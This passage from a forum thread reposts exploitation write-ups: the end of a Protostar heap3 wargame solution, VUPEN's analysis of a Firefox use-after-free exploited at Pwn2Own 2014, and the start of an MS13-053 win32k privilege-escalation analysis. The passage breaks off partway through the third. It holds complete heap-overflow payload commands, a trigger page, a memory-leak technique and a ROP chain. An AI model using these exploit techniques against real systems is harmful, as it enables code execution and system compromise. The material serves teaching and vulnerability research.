of the previous chunk from the current chunk's pointer. Ideally, if we could write the value 0x20 (32), then the previous chunk would have been calculated exactly into the Chunk B which contains the two fake forward and backward pointers. Unfortunately there is no way to do this without introducing null bytes and terminating the string before overwriting the Chunk C's size. If we can't move backward, then we can certainly move forward using a negative value: previous chunk size (-4) --+ +-- chunk size (\xf0) | | (gdb) r AAAA `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` CCCCDDDDEEEE | | fd --+ | | bk --+ Program received signal SIGSEGV, Segmentation fault. 0x080498fd in free (mem=0x804c058) at common/malloc.c:3638 (gdb) x/i $eip 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax edx eax 0x44444444 1145324612 edx 0x45454545 1162167621 Using a negative value for the previous chunk size forces the previous chunk to be calculated after the current chunk while avoiding null bytes. The value -4 was seleted for the sake of keeping everything dword aligned. Once the free() gets executed it segfaults trying to write to 0x44444444 + 0xc with the value 0x45454545. This was an expected behavior when trying to unlink the virtual chunk illustrated below: /------ Chunk A -------\ /------ Chunk B -------\ /------ Chunk C -------------\ +----+----+--------------+----+----+--------------+----+----+--------------------+ | | | AAAA | | | BBBB... BBBB| -4|\xf0| CCCCDDDDEEEE | +----+----+--------------+----+----+--------------+----+----+--------------------+ : : :/---- Virtual Chunk ----\: +----+----+----+----+-----+ |\xf0|CCCC|DDDD|EEEE| ... | +----+----+----+----+-----+ | | fd --+ +-- bk Selecting forward and backward links At this point we need to decide which source and destination addresses to use in-place of the forward and backward links. The goal of the exercise is to execute the hidden winner() function: (gdb) info address winner Symbol "winner" is a function at address 0x8048864. In order to call this function we could overwrite the GOT entry for the puts() call which is used at the very end of the main() function: 0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27 0x08048935 <main+172>: call 0x8048790 <puts@plt> 0x0804893a <main+177>: leave 0x0804893b <main+178>: ret Specifically, we need to overwrite the following address: $ objdump -R heap3 | grep puts 0804b128 R_386_JUMP_SLOT puts Ideally, if we could set 0x804b128 - 0xc = 0x804b11c (to compensate for mov DWORD PTR [eax+0xc],edx) as the destination address and write the value 0x8048864, then we could gain the desired execution flow. Let's try it out: (gdb) r AAAA `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x64\x88\x04\x08"'` Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 Oops, looks like we failed to write something; however, since the error occurs further down the copy operation let's see if it actually succeeded: (gdb) x/x 0x804b128 0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048864 Great, the GOT entry for puts() was overwritten with the address of winner(). Now let's investigate what caused the crash and whether we could go around it: (gdb) x/4i $eip - 9 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx <-- succeeded 0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18] 0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14] 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx <-- failed (gdb) i r eax edx eax 0x8048864 134514788 edx 0x804b11c 134525212 As part of the unlinking process, just as we have tried to write to the offset from the forward link to overwrite GOT, we have also attempted to write to the back link which was the address of the winner() function. Let's investigate memory characteristics of that address: (gdb) maintenance info sections Exec file: `/opt/protostar/bin/heap3', file type elf32-i386. : 0x80487b0->0x804abdc at 0x000007b0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS : 0x804b0e4->0x804b0e8 at 0x000030e4: .got ALLOC LOAD DATA HAS_CONTENTS 0x804b0e8->0x804b130 at 0x000030e8: .got.plt ALLOC LOAD DATA HAS_CONTENTS 0x804b130->0x804b138 at 0x00003130: .data ALLOC LOAD DATA HAS_CONTENTS 0x804b140->0x804b5d4 at 0x00003138: .bss ALLOC The attempt to write to the address 0x8048864 (actually 0x8048864 + 0x8) failed because it is located in the .text section which is READONLY. The previous write to 0x804b128 - 0xc succeeded because the GOT section is writeable. Thus, we must find another address to write to puts() GOT entry that would be both executable and writeable at the same time. Let's try the first heap chunk 0x0804c008: (gdb) r `python -c 'print "A"*32'` `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` Program received signal SIGSEGV, Segmentation fault. 0x08049951 in free (mem=0x804c058) at common/malloc.c:3648 Another segmentation fault. Before we analyze and try to bypass this crash, let's see if the unlinking succeeded: (gdb) x/12x 0x0804c008-8 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x0804b11c 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 (gdb) x/x 0x804b128 0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c008 The second mov operation successfully wrote to 0x804c008. Virtual Next Chunk(s) With the GOT entry overwritten with the address on the heap, we are now ready to massage the input so it successfully completes by analyzing the crash: (gdb) x/i $eip 0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax edx eax 0x0 0 edx 0x0 0 Just as before, the crash was caused due to an attempt to write to an invalid address. Let's reverse engineer the free() function a bit further to see how this can be alleviated: 0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c] ; bin[0x2c] 0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28] ; compare with next_chunk 0x8049912 <free+238>: je 0x80499b6 <free+402> 0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24] ; next_chunk_size 0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28] ; next_chunk 0x804991e <free+250>: lea eax,[edx+eax*1] ; next_next_chunk 0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4] ; next_next_chunk_size 0x8049924 <free+256>: and eax,0x1 ; PREV_INUSE 0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax ; store flag value 0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24] ; next_chunk_size 0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx ; store next_chunk_size 0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0 ; check PREV_INUSE 0x8049937 <free+275>: jne 0x8049963 <free+319> ; jump if the flag is set 0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8] ; next_chunk->fd 0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax ; FD 0x8049942 <free+286>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x8049945 <free+289>: mov eax,DWORD PTR [eax+0xc] ; next_chunk-bk 0x8049948 <free+292>: mov DWORD PTR [ebp-0x18],eax ; BK 0x804994b <free+295>: mov eax,DWORD PTR [ebp-0x14] ; FD 0x804994e <free+298>: mov edx,DWORD PTR [ebp-0x18] ; BK 0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx ; FD->bk = BK <-- crash 0x8049954 <free+304>: mov eax,DWORD PTR [ebp-0x18] ; BK 0x8049957 <free+307>: mov edx,DWORD PTR [ebp-0x14] ; FD 0x804995a <free+310>: mov DWORD PTR [eax+0x8],edx ; BK->fd = FD <-- crash The disassembly above should look very familiar to the unlink operation we have done to make the original write. In fact, just as we have done the backward consolidation with the previous chunk, we are doing a similar forward consolidation with the next chunk. This could be used to make another 4 byte write; however, since we only need one write to solve the exercise, let's find a way to simply skip this block of instructions by triggering the following jump: 0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0 ; check PREV_INUSE 0x8049937 <free+275>: jne 0x8049963 <free+319> ; jump if the flag is set This can be arranged by setting up another fake chunk by manipulating the overflown chunk size to be a negative number like \xf0\xff\xff\xff (-16) while still having the least two significant bits set to 0 in order to pass earlier checks: /------ Chunk A -------\ /------ Chunk B -----------------------\ /-- Chunk C .. +----+----+--------------+----+----+------------------------------+----+----+----- | | | AAAA | | | BBBB... BBBB \xff\xff... | -4| -16| .. +----+----+--------------+----+----+------------------------------+----+----+----- .` `. .` `. .` `. /--- Next Next Chunk --\ :/----- Next Chunk -----\: +------+------+----------+ +------+------+----------+ |.. |..\xff| ... ... | |.. |..\xff| ... ... | +--> +------+------+----------+ +------+------+----------+ | | | | size --+ | | | +-------------------------------------------------+ The next chunk is calculated relative to the original overflown chunk by adding (-16) to it, thus ending up 16 bytes behind Chunk C. The size of the next chunk is calculated by zeroing out the last two bits, thus if we set the size of the virtual next chunk to \xff\xff\xff\xff, the actual recorded size will be 0xfffffffc or -4. When the piece of code above attempts to retrieve the "next next" chunk it will add -4 to the next chunk address thus ending up exactly 4 bytes behind the next chunk. By setting the "next next" chunk's size to have the least significant bit set (e.g. \x01) we can skip the block of code that caused the memory write fault: (gdb) r `python -c 'print "\xcc"*32'` <-- shellcode next next chunk size --+ +-- next chunk size | | `python -c 'print "B"*16 + "\x01"*4 + "\xff"*4 + "B"*8 + "\xfc\xff\xff\xff" + "\xf0\xff\xff\xff"'` | | +-- prev chunk size +-- chunk size (-4) (-16) `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` | | puts() GOT entry --+ shellcode in chunk A --+ Program received signal SIGTRAP, Trace/breakpoint trap. 0x0804c00d in ?? () (gdb) x/12x $eip-1 0x804c00c: 0xcccccccc 0x0804b11c 0xcccccccc 0xcccccccc 0x804c01c: 0xcccccccc 0xcccccccc 0xcccccccc 0x00000000 0x804c02c: 0x00000029 0x00000000 0x42424242 0x42424242 Following all of the above manipulations the execution flow will end up in the shellcode located in the first chunk. Finalizing the exploit At this point we can deal with the corrupted byte at 0x804c010 by simply jumping over it with a short 2 byte jump, followed by a push/ret pivot to get to the final destination - the winner function: $ ./heap3 `python -c 'print "AAAA" + "\xeb\x06" + "\x90"*6 + "\x68\x64\x88\x04\x08\xc3"'` `python -c 'print "B"*16 + "\x01"*4 + "\xff"*4 + "B"*8 + "\xfc\xff\xff\xff" + "\xf0\xff\xff\xff"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` that wasn't too bad now, was it? @ 1398039369 The payload can be further optimized to make it less verbose at the expense of readability: $ ./heap3 `python -c 'print "AAAAAAAA\x68\x64\x88\x04\x08\xc3 " + "\xff"*32 + "\xfc\xff\xff\xff"*2 + " CCCC\x1c\xb1\x04\x08\x04\xc0\x04\x08"'` that wasn't too bad now, was it? @ 1398049859 External Links and References Exploit Exercises - Protostar Doug Lea Malloc w00w00 on Heap Overflows Phrack 57 - Vudo - An object superstitiously believed to embody magical powers Phrack 57 - Once upon a free()... Special Note Thanks to the folks at Exploit Exercises for creating the excellent wargame. Particularly making the exercises highly pedagogical with progressive difficulty and building on previously learned material. Published on May 25th, 2014 by iphelix Sursa: https://thesprawl.org/research/exploit-exercises-protostar-heap/
  3. Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014) [TABLE=width: 100%] [TR] [TD]Published on 2014-05-20 17:19:47 UTC by Arno, Security Researcher @ VUPEN[/TD] [TD] [/TD] [/TR] [/TABLE] Hi everyone, Pwn2Own 2014 was very exciting and challenging as all major browsers and operating systems are now getting more secure than ever. Of course, secure does not mean unbreakable, it means however that additional efforts are required to find and successfully exploit a vulnerability. In this year's edition of Pwn2Own, we have used a total of 11 distinct zero-days to target Mozilla Firefox, Internet Explorer 11, Google Chrome, Adobe Reader XI, and Adobe Flash on Windows 8.1, and we have reported all the vulnerabilities and our full exploits to the affected vendors to allow them fix the issues and protect users. One of the vulnerabilities we have exploited during the event was a use-after-free in Mozilla Firefox (MFSA2014-30 / CVE-2014-1512). This flaw was not easy to find and exploit because it required the browser to be in a specific memory state to reach the vulnerable code branch, this state is called by Mozilla: "memory-pressure". 1. Technical Analysis of the Vulnerability The use-after-free condition can be triggered in Firefox v27 on Windows 8.1 (64bit) with the following code: <html> <script> var tab = new Array(100000); var counter = 0; function spray() { for(var i = 0; i<0x100 ; i++) { tab[counter] = new ArrayBuffer(0x10000); counter += 1; } } function Pressure() { try {spray();} catch (e) {} for(var i = 0; i<0x4000 ; i++) counter.toString(); Pressure(); } Pressure(); </script> </html> When the page is loaded, the "Pressure()" function performs three tasks: - First, the "spray()" function is called to spray memory (see below) - Then, the "for" loop is executed to consume additional memory resources - Finally, the "Pressure()" function calls itself recursively to consume even more resources As the "Pressure()" function is recursive, the "spray()" function will be called many times. Each heap spray operation performed by this function is saved into the "tab" array. After a few seconds, Firefox will run out of memory and enters into a specific state named "memory pressure" or "low memory" which is automatically activated to protect the browser from intensive memory use. Here is the code which determines if this state is active or not: // In "CheckMemAvailable()" / xul.dll 0x10AF2E5D mov eax, sLowCommitSpaceThreshold // 0x80 0x10AF2E62 xor ecx, ecx 0x10AF2E64 shl eax, 14h // eax = 0x08000000 [...] 0x10AF2E6E cmp dword ptr [ebp+stat.ullAvailPageFile], eax // left memory (in bytes) 0x10AF2E71 jnb short loc_10AF2E83 0x10AF2E73 call MaybeScheduleMemoryPressureEvent() // Enable the "memory-pressure" state If the memory left is below 0x08000000 bytes, the "memory-pressure" state is automatically activated. When Firefox gets into this mode, a specific "BumpChunk" object is created through its constructor: // In "js: Detail: BumpChunk * js::LifoAlloc::getOrCreateChunk()" / mozjs.dll 0x00BFEF3E push edi ; Size 0x00BFEF3F call ds:__imp__malloc 0x00BFEF45 add esp, 4 0x00BFEF48 test eax, eax 0x00BFEF4A jz loc_BFEFFB [...] The size of this object is 0x2000 bytes. Then the object is freed by the "js::LifoAlloc::freeAll()" function: // In "js::LifoAlloc::freeAll()" / mozjs.dll 0x00CD5AF5 mov eax, [this] 0x00CD5AF7 mov ecx, [eax+8] 0x00CD5AFA mov [this], ecx 0x00CD5AFC mov ecx, eax 0x00CD5AFE sub ecx, [eax+4] 0x00CD5B01 push eax // eax points to the "BumpChunk" object 0x00CD5B02 add [this+14h], ecx 0x00CD5B05 call ds:__imp__free // free() function 0x00CD5B0B pop ecx 0x00CD5B0C 0x00CD5B0C loc_CD5B0C: 0x00CD5B0C cmp [this], edi 0x00CD5B0E jnz short loc_CD5AF5 At this point, the object has been deleted; however a reference of the freed object still remains in memory. This reference to the freed object is later reused by Firefox within several functions such as the following: // In "js::GCMarker: ProcessMarkStackTop()" / mozjs.dll [...] 0x00C07AC3 mov ecx, [edi+14h] // retrieve the ref to the freed object [...] 0x00C07AD8 mov ecx, [ecx] // read into the freed object [...] 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] 0x00C07B10 mov ecx, [edx] // a crash occurs here! This leads to an exploitable crash of Firefox within the "js::GCMarker:: ProcessMarkStackTop()" function. 2. Exploitation on Windows 8.1 (64bit) In order to exploit this vulnerability an attacker needs first to take control of the freed object. To replace the content of the freed object with attacker-controlled data, multiple elements having the same size as the vulnerable object must be created. This can be achieved by spraying ArrayBuffers of 0x2000 bytes. After the object has been freed and replaced, it is reused in several functions, among which "js::GCMarker:: ProcessMarkStackTop()" and "js::types::TypeObject::sweep()". The "js::GCMarker:: ProcessMarkStackTop()" function will be used to leak memory and bypass ASLR, and then "js::types::TypeObject::sweep()" will be abused to re-gain control of the execution flow and pop a calc on Windows 8.1. 2.1. Memory leak via "js::GCMarker:: ProcessMarkStackTop()" As discussed earlier, the freed but controlled object is reused in "js::GCMarker:: ProcessMarkStackTop()": // In "js::GCMarker:: ProcessMarkStackTop()" / mozjs.dll 0x00C07AC3 mov ecx, [edi+14h] // retrieve the ref to the freed object // this ref does not point to the beginning of the ArrayBuffer, // but points into the controlled values of the ArrayBuffer [...] 0x00C07AD8 mov ecx, [ecx] // [ecx] is fully controlled Once ECX is fully controlled, Firefox performs various computations with this controlled value to obtain two other values: // The two values are named: value_1 and value_2 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl // value_1 is obtained here 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] // value_2 is obtained here //eax contains value_1 //edx contains value_2 Here is the recap of these computations: ecx = fully controlled value value_1 = 1 << ( ( ecx >> 3 ) & 0x0000001F ) value_2 = ((ecx & 0xFFFFC0B0) | 0xFC0B0 ) + ((( ecx >> 3 ) & 0x1FFFF ) >> 5 ) * 4 As we can see, these two values can only be partially controlled. After the computations, these two values are used in the following code: // eax = value_1 // edx = value_2 0x00C07B10 mov ecx, [edx] 0x00C07B12 test eax, ecx 0x00C07B14 jz loc_D647C5 // can be controlled [...] 0x00D647C5 loc_D647C5: 0x00D647C5 or ecx, eax 0x00D647C7 mov eax, [esp+44h+obj] 0x00D647CB push ebp 0x00D647CC mov [edx], ecx // memory corruption Indeed value_2 corresponds to an address. A corruption may be performed at this address, if the jump (at 0x00c07B14) is taken. From such a corruption there are several ways to perform a memory disclosure. Here is one of them: First, a spray of ArrayBuffers is used and placed at a predictable address, then the memory corruption can be used to corrupt an ArrayBuffer, in particular its "byteLength" field. Here is the memory layout of an ArrayBuffer: The "byteLength" field is checked when a view is created on the ArrayBuffer. A view allows reading from and writing into the contents of the ArrayBuffer. Here is the prototype of the function which allows the creation of a view: [TABLE=width: 100%] [TR] [TD] view Int32Array(ArrayBuffer buffer, unsigned long byteOffset, unsigned long length); [TABLE] [TR] [TD]Attribute[/TD] [TD]Type[/TD] [TD]Description[/TD] [/TR] [TR] [TD]buffer[/TD] [TD]ArrayBuffer[/TD] [TD]The ArrayBuffer object used to contain the TypedArray data. Read only.[/TD] [/TR] [TR] [TD]byteOffset[/TD] [TD]unsigned long[/TD] [TD]The index at which the TypedArray starts within the underlying ArrayBuffer. Read only.[/TD] [/TR] [TR] [TD]lengthInt[/TD] [TD]unsigned long[/TD] [TD]The number of entries in the array. Read only.[/TD] [/TR] [/TABLE] The size of an entry is always 4 bytes.[/TD] [/TR] [/TABLE] The ArrayBuffer's "byteLength" field is compared to the parameters of the "Int32Array()" function: if( (ArrayBuffer's "length") >= (byteOffset arg) + (length arg) * 4 ) { [...] // will create the view }else{ error(); } Here is this comparison in ASM: // In "namespace___TypedArrayObjectTemplate_int___fromBuffer()" / mozjs.dll // ecx points to start of ArrayBuffer's payload area 0x00E4873F mov edx, [eax-0Ch] // retrieve the "byteLength" field [...] 0x00E4874B mov eax, [ebp+lengthInt] // retrieve the 3rd arg of "Int32Array" [...] 0x00E48769 mov ecx, eax 0x00E4876B shl ecx, 2 [...] 0x00E48780 add ecx, ebx // ebx, 2nd argument of "Int32Array" 0x00E48782 cmp ecx, edx 0x00E48784 ja short loc_E48799 // If the jump is taken, the view will not be created Manipulating the ArrayBuffer's "byteLength" value (making it big enough) allows an attacker to create a view, whose length is unusually large, and allows reading and writing outside of the ArrayBuffer. As previously discussed, "value_2" is only partially controlled, so the ArrayBuffer's "byteLength" field is also partially controlled. However the corruption allows us to increase the "byteLength" field of 0x01000000 bytes, which results in the creation of a view that can be used to read and write into the next ArrayBuffer, then the "byteLength" of this second ArrayBuffer will be fully controlled. By setting the "byteLength" of this second ArrayBuffer to 0xFFFFFFFF, we are able to create a view which can read from and write to any location of the user space memory. At this point the goal is to obtain the address of one of the loaded DLLs. This can be done by reading the third dword of the ArrayBuffer's header which allows us e.g. to obtain the address of "mozjs.dll". Here is the memory view of the ArrayBuffer: Here is the link between the 3rd field and the "mozjs.dll" module: CPU Stack Address Value 0x0A18FF10 0x049A0928 [...] 0x049A0928 0x049A2600 [...] 0x049A2600 0x00E8D4D8 [...] 0x00E8D4D8 0x00E9AFE4 ; ASCII "Int32Array" The 0x00E9AFE4 address belongs to the "mozjs.dll" module, which allows us to disclose its address and build a ROP to bypass ASLR/DEP. 2.2. Controlling EIP Thanks to "js::types::TypeObject::sweep()" Now that the leak is achieved, we have to find a way to control the execution flow while the freed object is reused in the "js::types::TypeObject::sweep()" function. This can be done as follows: // In "js::types::TypeObject::sweep()" / mozjs.dll 0x00C7F567 mov ecx, [eax] // ecx is fully controlled [...] 0x00C7F577 mov [esp+38h+var_10], ecx [...] 0x00C7F5CD lea eax, [esp+38h+var_10] 0x00C7F5D1 call js::EncapsulatedId:: Pre(void) // In "js::EncapsulatedId:: Pre()" 0x00C7FBA0 push ecx 0x00C7FBA1 mov eax, [eax] // controlled 0x00C7FBA3 mov ecx, ecx [...] 0x00C7FBB8 and eax, 0FFFFF000h 0x00C7FBBD mov eax, [eax] // controlled 0x00C7FBBF cmp byte ptr [eax+8], 0 0x00C7FBC3 jnz loc_D3F5C4 // jump must be taken 0x00C7FBC9 [...] 0x00D3F5C4 loc_D3F5C4: 0x00D3F5C4 mov edx, [eax+4] // controlled 0x00D3F5C7 push offset aWriteBarrier 0x00D3F5CC lea ecx, [esp+8+str] 0x00D3F5D0 push ecx 0x00D3F5D1 push edx // 1st arg 0x00D3F5D2 call js::gc::MarkStringUnbarriered() // In "js::gc::MarkStringUnbarriered()" 0x00C55FD0 mov ecx, [esp+name] 0x00C55FD4 mov edx, [esp+thingp] 0x00C55FD8 mov eax, [esp+trc] // retrieve 1st arg [...] 0x00C55FF0 push eax // set 1st arg for MarkInternal_JSString_() 0x00C55FF1 mov dword ptr [eax+8], 0 0x00C55FF8 mov [eax+0Ch], name 0x00C55FFB mov [eax+10h], 0FFFFFFFFh 0x00C56002 call MarkInternal_JSString_() It is then possible to regain control of the execution flow thanks to the "MarkInternal_JSString_()": // In "MarkInternal_JSString_()" 0x00C3ABA2 mov ebp, [esp+8+trc] // retrieve 1st arg 0x00C3ABA6 mov ecx, [ebp+4] // controlled 0x00C3ABA9 xor ebx, ebx 0x00C3ABAB push esi 0x00C3ABAC push edi 0x00C3ABAD cmp ecx, ebx 0x00C3ABAF jnz loc_C3AC9C // controlled, we take this jump [...] 0x00C3AC9C loc_C3AC9C: 0x00C3AC9C push 1 0x00C3AC9E push thingp 0x00C3AC9F push ebp 0x00C3ACA0 call ecx // redirect EIP here, pwnd! As we can see from above, if ECX is set to null, the code path which leads to the control of EIP is not taken. While the leak operation is not completed, [ebp+4] needs to be set to null to avoid controlling EIP and crashing the browser. After the leak operation is achieved, [ebp+4] value will be set to contain the address of the first gadget. Exploitation is then finalized with a ROP in "mozjs.dll": // Make eax point to another location (in the spray) 0x00D997C3 mov eax, [eax+588h] 0x00D997C9 mov edx, [eax] // controlled 0x00D997CB mov ecx, eax 0x00D997CD call dword ptr [edx] // call the 2nd gadget // Set a controlled value on the stack 0x00CD9855 push [ebp-80h] // controlled, address of the 4th gadget 0x00CD9858 mov ecx, state 0x00CD985A call dword ptr [eax+4] // call the 3rd gadget // Make esp point to a controlled location 0x00D2906A pop ecx 0x00D2906B xchg eax, esp 0x00D2906C mov eax, [eax] // address of the 4th gadget 0x00D2906E mov [esp], eax 0x00D29071 retn // return to the 4th gadget // Adjust the stack and enjoy 0x00BD062D add esp, 10h 0x00BD0630 retn // will return to "VirtualProtect()" after // the stack has been properly crafted Which leads to arbitrary code execution with ASLR/DEP bypass on Windows 8.1. It is also possible to bypass EMET but this step is left as an exercise for the reader! © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014 / CVE-2014-1512)
  4. Published on 2013-07-23 16:56:07 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN Twitter LinkedIn Delicious Digg Hi everyone, Recently, a very interesting Windows privilege escalation vulnerability was discovered and publicly disclosed by Tavis Ormandy (and he deserves a Pwnie Award 2013 for it!), it was later patched by Microsoft as part of MS13-053. The vulnerability affects the Win32k.sys "EPATHOBJ::pprFlattenRec()" function, and allows an unprivileged user to gain SYSTEM permissions. While a few codes taking advantage of this vulnerability were published by other researchers, our aim was to create a reliable and universal exploit working on both 32bit and 64bit versions of Windows 8, Windows 7, Vista, and XP. We had then to find another exploitation method which works on Windows 8 and prior and which provides instant privilege escalation without suffering from the race condition limitations and/or side effects. In this blog, we share our findings and exploitation method. 1. Technical Analysis of the Vulnerability When calling the "FlattenPath()" function, the "win32k!EPATHOBJ::bFlatten()" method is entered in kernel mode in Win32k.sys: .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] // head of PATHRECORD list .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // first PATHRECORD pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax // is end of list reached .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // is this a Bezier curve .text:00116041 jz short loc_11604F .text:00116043 push eax .text:00116044 mov ecx, esi .text:00116046 call EPATHOBJ::pprFlattenRec // Flatten Bezier curve .text:0011604B test eax, eax .text:0011604D jz short loc_11605B .text:0011604F .text:0011604F loc_11604F: .text:0011604F mov eax, [eax] // current = current->next .text:00116051 jmp short loc_116039 .text:00116053 loc_116053: .text:00116053 and dword ptr [esi], 0FFFFFFFEh .text:00116056 xor eax, eax .text:00116058 inc eax .text:00116059 pop ecx .text:0011605A retn If the PATHRECORD object contains points describing a Bezier curve, the "win32k!EPATHOBJ::pprFlattenRec()" method is entered: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117208 lea ebx, [ebp+newPathRecord] .text:0011720E mov [ebp+var_EC], edi .text:00117214 mov [ebp+currentPathRecord], eax .text:0011721A call EPATHOBJ::newpathrec // Allocate a new PATHRECORD The function calls "win32k!EPATHOBJ::newpathrec()" in order to allocate a new PATHRECORD if there is not enough memory in the current one: .text:00115F87 win32k!EPATHOBJ::newpathrec ... .text:00115F99 mov edx, [ecx+4] // retrieve last PATHRECORD .text:00115F9C mov eax, [ecx+8] // retrieve PATHRECORD allocation size .text:00115F9F add edx, 10h .text:00115FA2 add eax, ecx // go to end of POINT array .text:00115FA4 cmp eax, edx .text:00115FA6 jbe short loc_115FAF .text:00115FA8 sub eax, edx .text:00115FAA sar eax, 3 .text:00115FAD mov [esi], eax // compute remaining POINT triplets .text:00115FAF loc_115FAF: .text:00115FAF mov eax, [esi] .text:00115FB1 cmp eax, 8 // If less than 8 POINT triplets remaining .text:00115FB4 jb short loc_115FC2 // allocate a new PATHRECORD structure ... .text:00115FC2 loc_115FC2: ... .text:00115FC7 call newpathalloc In case the PATHRECORD object does not have enough "slots" in its POINT array structure, the "win32k!newpathalloc()" function is called: .text:00116729 win32k!newpathalloc .text:00116729 mov edi, edi .text:0011672B push ebp .text:0011672C mov ebp, esp .text:0011672E push ecx .text:0011672F push ebx .text:00116730 push esi .text:00116731 mov esi, PATHALLOC::hsemFreelist ... .text:0011674C loc_11674C: .text:0011674C mov edi, PATHALLOC::freelist .text:00116752 mov ebx, 0FC0h .text:00116757 test edi, edi .text:00116759 jz short loc_11679A "win32k!PATHALLOC::freelist" is a simple linked list structure, which can contain up to 4 elements. In the case the "win32k!PATHALLOC::freelist" linked list is empty, the following path is taken: .text:00116729 win32k!newpathalloc ... .text:0011679A loc_11679A: .text:0011679A push 1 .text:0011679C push 'tapG' .text:001167A1 push ebx .text:001167A2 call PALLOCMEM2 "win32!kPALLOCMEM2()" is actually a wrapper around "nt!ExAllocatePoolWithTag()" followed by a "memset(0)" on the newly allocated pool chunk. In the case the freelist contains elements, the following path is taken: .text:00116729 win32k!newpathalloc ... .text:0011675B mov eax, [edi] // get next freelist item .text:0011675D dec PATHALLOC::cFree // counter of freelist element .text:00116763 mov PATHALLOC::freelist , eax // update freelist .text:00116768 .text:00116768 loc_116768: .text:00116768 and dword ptr [edi], 0 .text:0011676B lea eax, [edi+0Ch] // eax points to PATHRECORD structure ... .text:00115FB9 mov [ebx], eax // assign newPathRecord pointer .text:00115FBB xor eax, eax .text:00115FBD inc eax .text:00115FBE pop ebp .text:00115FBF retn 4 The counter of freelist elements is decremented, and the freelist linked list is updated to point to the new head of the list. However this time, the memory returned from the freelist is not memset-ed to 0, thus still containing data of previous PATHRECORD structures. The PATHRECORD structure looks as follows: typedef struct _PATHRECORD { struct _PATHRECORD *next; // pointer to next PATHRECORD struct _PATHRECORD *prev; // pointer to previous PATHRECORD DWORD flags; // type of PATHRECORD DWORD numPoints; // number of points POINT points[0]; // variable length array of POINT } PATHRECORD, *PPATHRECORD; The POINT structure is as follows (from MSDN): typedef struct tagPOINT { LONG x; LONG y; } POINT, *PPOINT; Eventually the function returns and the system starts initializing the newly created PATHRECORD structure: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117228 mov ebx, [ebp+newPathRecord] .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] // eax = currentPathRecord->prev .text:00117237 mov [ebx+4], eax // newPathRecord->prev= eax .text:0011723A lea eax, [ebx+0Ch] // eax = &(newPathRecord->records[]) .text:0011723D and dword ptr [eax], 0 // records[0] = 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] // eax = currentPathRecord->flags .text:00117249 and eax, 0FFFFFFEFh 